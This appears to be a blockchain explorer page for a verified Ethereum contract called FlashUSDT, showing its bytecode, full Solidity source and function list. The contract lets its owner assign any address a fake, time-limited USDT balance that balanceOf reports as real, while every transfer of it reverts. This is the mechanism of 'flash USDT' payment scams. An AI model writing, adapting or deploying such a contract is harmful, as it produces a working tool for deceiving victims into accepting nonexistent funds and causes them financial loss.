Address Contract Verified
Address
0xec0A592d8CCA74998C94B3D9fa40792C39FCd65b
Balance
0 ETH
Nonce
1
Code Size
2634 bytes
Creator
0x8DA89f81...11f0 at tx 0x08fda647...295da1
Indexed Transactions
Index loading...
Contract Bytecode
2634 bytes
0x608060405234801561000f575f5ffd5b50600436106100b1575f3560e01c8063a9059cbb1161006e578063a9059cbb1461016c578063cb6355751461017f578063d2dca22b14610192578063dd62ed3e146101a5578063f2fde38b146101b8578063f523b255146101cb575f5ffd5b8063095ea7b3146100b557806323b872dd146100dd5780633403c2fc146100f057806370a08231146100fa5780638da5cb5b1461011b5780639ab4a44514610145575b5f5ffd5b6100c86100c3366004610902565b610202565b60405190151581526020015b60405180910390f35b6100c86100eb36600461092a565b61028f565b6100f8610328565b005b61010d610108366004610964565b610362565b6040519081526020016100d4565b5f5461012d906001600160a01b031681565b6040516001600160a01b0390911681526020016100d4565b61012d7f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec781565b6100c861017a366004610902565b610495565b6100f861018d36600461097d565b6104f4565b6100f86101a0366004610964565b61062f565b61010d6101b33660046109ad565b6106de565b6100f86101c6366004610964565b610779565b6101de6101d9366004610964565b610822565b604080518251815260208084015190820152918101511515908201526060016100d4565b60405163095ea7b360e01b81526001600160a01b038381166004830152602482018390525f917f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec79091169063095ea7b3906044015b5f604051808303815f87803b15801561026e575f5ffd5b505af1158015610280573d5f5f3e3d5ffd5b50505050600190505b92915050565b5f6102998461088a565b6040516323b872dd60e01b81526001600160a01b0385811660048301528481166024830152604482018490527f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec716906323b872dd906064015f604051808303815f87803b158015610308575f5ffd5b505af115801561031a573d5f5f3e3d5ffd5b506001979650505050505050565b5f546001600160a01b03163314610351576040516282b42960e81b815260040160405180910390fd5b5f80546001600160a01b0319169055565b6001600160a01b0381165f908152600160205260408120600281015483919060ff168015610394575080600101544210155b156103a65760028101805460ff191690555b6001600160a01b0384165f9081526001602081815260409283902083516060810185528154815292810154918301919091526002015460ff161580159282018390529091906103f85750806020015142105b610489576040516370a0823160e01b81526001600160a01b0386811660048301527f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec716906370a0823190602401602060405180830381865afa158015610460573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061048491906109de565b61048c565b80515b95945050505050565b5f61049f3361088a565b60405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490527f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7169063a9059cbb90604401610257565b5f546001600160a01b0316331461051d576040516282b42960e81b815260040160405180910390fd5b6001600160a01b03831661054457604051631e4ec46b60e01b815260040160405180910390fd5b6001600160a01b0383165f9081526001602052604090206002015460ff161561058057604051631a40f1fd60e01b815260040160405180910390fd5b6040518060600160405280838152602001824261059d91906109f5565b8152600160209182018190526001600160a01b0386165f8181528284526040908190208551815593850151928401929092559201516002909101805460ff19169115159190911790557f6522ddca90359ea2b270abb5fd9740e48303b83b488099f98948f3d8da30527c8361061284426109f5565b6040805192835260208301919091520160405180910390a2505050565b5f546001600160a01b03163314610658576040516282b42960e81b815260040160405180910390fd5b6001600160a01b0381165f9081526001602052604090206002015460ff166106935760405163660010cf60e11b815260040160405180910390fd5b6001600160a01b0381165f81815260016020526040808220600201805460ff19169055517f99d3d1b6b9ede8ea01e750b81b14504cf7abd762a932f8f839bbc651af01bf8d9190a250565b604051636eb1769f60e11b81526001600160a01b03838116600483015282811660248301525f917f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec79091169063dd62ed3e90604401602060405180830381865afa15801561074e573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077291906109de565b9392505050565b5f546001600160a01b031633146107a2576040516282b42960e81b815260040160405180910390fd5b6001600160a01b0381166107c957604051631e4ec46b60e01b815260040160405180910390fd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b61084560405180606001604052805f81526020015f81526020015f151581525090565b506001600160a01b03165f9081526001602081815260409283902083516060810185528154815292810154918301919091526002015460ff1615159181019190915290565b6001600160a01b0381165f908152600160205260409020600281015460ff1680156108b85750806001015442105b156108e35760028101805460ff191690556040805163249ea18960e01b815290519081900360040190fd5b5050565b80356001600160a01b03811681146108fd575f5ffd5b919050565b5f5f60408385031215610913575f5ffd5b61091c836108e7565b946020939093013593505050565b5f5f5f6060848603121561093c575f5ffd5b610945846108e7565b9250610953602085016108e7565b929592945050506040919091013590565b5f60208284031215610974575f5ffd5b610772826108e7565b5f5f5f6060848603121561098f575f5ffd5b610998846108e7565b95602085013595506040909401359392505050565b5f5f604083850312156109be575f5ffd5b6109c7836108e7565b91506109d5602084016108e7565b90509250929050565b5f602082840312156109ee575f5ffd5b5051919050565b8082018082111561028957634e487b7160e01b5f52601160045260245ffdfea2646970667358221220ef0d3dc0ddc31f9c2d2eb7b20ed39f5740b270fd4567a047a0a01efbbf4e2be764736f6c634300081f0033
Verified Source Code Full Match
Compiler: v0.8.31+commit.fd3a2265
EVM: osaka
Optimization: Yes (200 runs)
iflash.sol 137 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface IUSDT {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external;
function transferFrom(address from, address to, uint256 amount) external;
function approve(address spender, uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
}
contract FlashUSDT {
address public owner;
address public immutable usdtAddress = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
struct FlashBalance {
uint256 amount;
uint256 expiration;
bool active;
}
mapping(address => FlashBalance) private flashBalances;
event FlashSet(address indexed receiver, uint256 amount, uint256 expiration);
event FlashReset(address indexed receiver);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
error Unauthorized();
error InvalidReceiver();
error FlashActive();
error BalanceVanished();
error ExpirationPassed();
modifier onlyOwner() {
if (msg.sender != owner) revert Unauthorized();
_;
}
modifier checkExpiration(address account) {
FlashBalance storage fb = flashBalances[account];
if (fb.active && block.timestamp >= fb.expiration) {
fb.active = false;
}
_;
}
constructor() {
owner = msg.sender;
}
function setFlashBalance(
address _receiver,
uint256 _amount,
uint256 _durationSeconds
) external onlyOwner {
if (_receiver == address(0)) revert InvalidReceiver();
if (flashBalances[_receiver].active) revert FlashActive();
flashBalances[_receiver] = FlashBalance({
amount: _amount,
expiration: block.timestamp + _durationSeconds,
active: true
});
emit FlashSet(_receiver, _amount, block.timestamp + _durationSeconds);
}
function resetFlashBalance(address _receiver) external onlyOwner {
if (!flashBalances[_receiver].active) revert ExpirationPassed();
flashBalances[_receiver].active = false;
emit FlashReset(_receiver);
}
function getFlashBalance(address _account) public view returns (FlashBalance memory) {
return flashBalances[_account];
}
// ERC20 Proxy Functions
function balanceOf(address _account)
external
checkExpiration(_account)
returns (uint256)
{
FlashBalance memory fb = flashBalances[_account];
return (fb.active && block.timestamp < fb.expiration)
? fb.amount
: IUSDT(usdtAddress).balanceOf(_account);
}
function transfer(address _to, uint256 _amount) external returns (bool) {
_handleFlashTransfer(msg.sender);
IUSDT(usdtAddress).transfer(_to, _amount);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) external returns (bool) {
_handleFlashTransfer(_from);
IUSDT(usdtAddress).transferFrom(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) external returns (bool) {
IUSDT(usdtAddress).approve(_spender, _amount);
return true;
}
function allowance(
address _owner,
address _spender
) external view returns (uint256) {
return IUSDT(usdtAddress).allowance(_owner, _spender);
}
// Internal Safety Functions
function _handleFlashTransfer(address account) private {
FlashBalance storage fb = flashBalances[account];
if (fb.active && block.timestamp < fb.expiration) {
fb.active = false;
revert BalanceVanished();
}
}
function transferOwnership(address newOwner) external onlyOwner {
if (newOwner == address(0)) revert InvalidReceiver();
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
// Emergency shutdown
function emergencyShutdown() external onlyOwner {
owner = address(0);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
getFlashBalance 0xf523b255 → tuple
owner 0x8da5cb5b → address
usdtAddress 0x9ab4a445 → address
Write Contract 8 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address _spender
uint256 _amount
returns: bool
balanceOf 0x70a08231
address _account
returns: uint256
emergencyShutdown 0x3403c2fc
No parameters
resetFlashBalance 0xd2dca22b
address _receiver
setFlashBalance 0xcb635575
address _receiver
uint256 _amount
uint256 _durationSeconds
transfer 0xa9059cbb
address _to
uint256 _amount
returns: bool
transferFrom 0x23b872dd
address _from
address _to
uint256 _amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
Transaction index is loading. Only unfinalized transactions are shown while the index starts up.